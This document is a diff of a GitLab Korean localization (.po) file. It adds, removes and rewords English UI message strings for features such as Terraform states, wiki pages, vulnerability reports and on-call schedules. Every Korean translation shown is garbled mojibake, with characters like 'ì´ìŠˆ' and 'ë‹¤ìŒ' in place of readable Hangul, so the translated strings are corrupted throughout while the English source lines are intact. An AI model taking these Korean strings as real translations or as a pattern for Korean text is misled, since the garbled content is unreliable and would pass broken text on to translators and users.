msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr "Runner 설정 중 ë‹¤ìŒ URLì„ ì§€ì •í•˜ì„¸ìš”."
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "템플릿"
@@ -26078,6 +26643,9 @@ msgstr "서비스 약관 계약 ë° ê°œì¸ ì •ë³´ 보호 ì •ì±…"
msgid "Terms of Service and Privacy Policy"
msgstr "서비스 약관 ë° ê°œì¸ ì •ë³´ 보호 ì •ì±…"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr "ì´ìŠˆ 트래커는 프로ì íŠ¸ì—ì„œ 개선해야하거나 í•´ê²°í•´ì•
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr "í¬í¬ 관계가 제거ë˜ì—ˆìŠµë‹ˆë‹¤."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "ì´ìŠˆ 단계ì—는 ì´ìŠˆë¥¼ 작성하여 마ì¼ìŠ¤í†¤ìœ¼ë¡œ 지정하는 ë° ê±¸ë¦¬ëŠ” 시간 ë˜ëŠ” ì´ìŠˆ ë³´ë“œì˜ ëª©ë¡ì— ì´ìŠˆë¥¼ 추가하는 ì‹œê°„ì´ í‘œì‹œë©ë‹ˆë‹¤. ì´ ë‹¨ê³„ì˜ ë°ì´í„°ë¥¼ 보기 위해서는 ì´ìŠˆë¥¼ 먼저 작성해야 합니다."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr "Staging 단계ì—서는 MR 머지과 프로ë•ì…˜ í™˜ê²½ì— ì½”ë“œ ë°°í
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "테스트 단계ì—서는 GitLab CIê°€ 관련 머지 리퀘스트(MR)ì„ ìœ„í•´ 모든 파ì´í”„ë¼ì¸ì„ 실행하는 ë° ê±¸ë¦¬ëŠ” ì‹œê°„ì„ ë³´ì—¬ì¤ë‹ˆë‹¤. 첫 번째 파ì´í”„ë¼ì¸ ì‹¤í–‰ì´ ì™„ë£Œë˜ë©´ ë°ì´í„°ê°€ ìžë™ìœ¼ë¡œ 추가ë©ë‹ˆë‹¤."
@@ -26614,7 +27227,7 @@ msgstr "해당 단계ì—ì„œ 수집 í•œ ê° ë°ì´í„° ìž…ë ¥ì— ì†Œìš” ëœ ì‹œê°„
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr "ê°’ì€ ì¼ë ¨ì˜ 관측 ê°’ 중ì ì— 있습니다. 예를 들어, 3, 5,
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "ì´ ë¨¸ì§€ 리퀘스트(MR)는 잠겨있습니다."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr "여러 프로ì íŠ¸ì—ì„œ 정보를 ì½ì„ 수 없으므로 ì´ íŽ˜ì´ì§
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr "시간 초과"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "시간"
@@ -27753,6 +28369,9 @@ msgstr "ì´ˆ"
msgid "Tip:"
msgstr "íŒ:"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "제목"
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28665,9 +29290,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr "CSV íŒŒì¼ ì—…ë¡œë“œ"
@@ -28686,6 +29308,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "íŒŒì¼ ì—…ë¡œë“œ"
@@ -28722,6 +29347,9 @@ msgstr "추천"
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28812,6 +29440,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -28959,6 +29590,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29016,6 +29653,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "활ë™"
@@ -29061,6 +29701,9 @@ msgstr "ê°œì¸ í”„ë¡œì íŠ¸"
msgid "UserProfile|Report abuse"
msgstr "악용사례 신고"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "스니펫"
@@ -29091,6 +29734,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "ëª¨ë‘ ë³´ê¸°"
@@ -29127,6 +29773,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "사용ìžë“¤"
@@ -29169,15 +29818,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29247,7 +29896,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr "GitLab ì„±ëŠ¥ì— ì˜í–¥ì„ 주는 여러가지 설정."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29324,6 +29973,9 @@ msgstr "파ì¼ë³´ê¸° @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29381,6 +30033,9 @@ msgstr "프로ì íŠ¸ ë¼ë²¨ 보기"
msgid "View replaced file @ "
msgstr "êµì²´ëœ íŒŒì¼ ë³´ê¸° @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29474,9 +30129,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29582,6 +30234,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29630,10 +30288,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29648,6 +30303,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29801,6 +30462,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,7 +30631,13 @@ msgstr ""
msgid "Wiki"
msgstr "위키"
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30114,6 +30793,9 @@ msgstr "페ì´ì§€ 버전"
msgid "Wiki|Pages"
msgstr "페ì´ì§€"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30195,9 +30877,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "네, Google code 사용ìžë¥¼ ì´ë¦„ì´ë‚˜ GitLab 사용ìžì— 연결하겠습니다."
-
msgid "Yesterday"
msgstr "어제"
@@ -30207,6 +30886,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30411,6 +31096,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30453,6 +31141,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr "웹 터미ë„ì„ ì‹¤í–‰í•  수 있는 ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤. 프로ì íŠ¸ 관리ìžì—게 문ì˜í•˜ì„¸ìš”."
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr "ë‹¹ì‹ ì€ ë‹¹ì‹ ì´ @mentioned í•œ ì½”ë©˜íŠ¸ì— ëŒ€í•´ì„œë§Œ 통지를 ë
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "ë‹¹ì‹ ì˜ ê³„ì •ì— %{set_password_link} ì„ í•˜ê¸° ì „ì—는 %{protocol} í”„ë¡œí† ì½œì„ í†µí•´ 프로ì íŠ¸ 코드를 Pull 하거나 Push í•  수 없습니다"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "ë‹¹ì‹ ì˜ í”„ë¡œí•„ì— SSH 키를 등ë¡í•˜ê¸° 전까지 SSH를 통해 프로ì íŠ¸ë¥¼ 가져오거나 푸시할 수 없습니다."
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30717,6 +31405,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "ì´ë¯¸ ì¼íšŒìš© ì¸ì¦ê¸°ë¥¼ ì´ìš©í•˜ì—¬ ì´ì¤‘ ì¸ì¦ì„ 활성화했습니다. 다른 기기를 등ë¡í•˜ë ¤ë©´ ì´ì¤‘ ì¸ì¦ì„ 먼저 비활성화해야 합니다."
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -30894,6 +31591,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "연결중"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "완료"
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr "ì´ í”„ë¡œì íŠ¸ì— 대해"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,8 +32224,8 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
-msgstr "가져오는중"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr ""
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "ì—†ìŒ"
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr "%{timeAgo}ì— ì—´ë¦¼"
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "전체 테스트 중 %d"
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
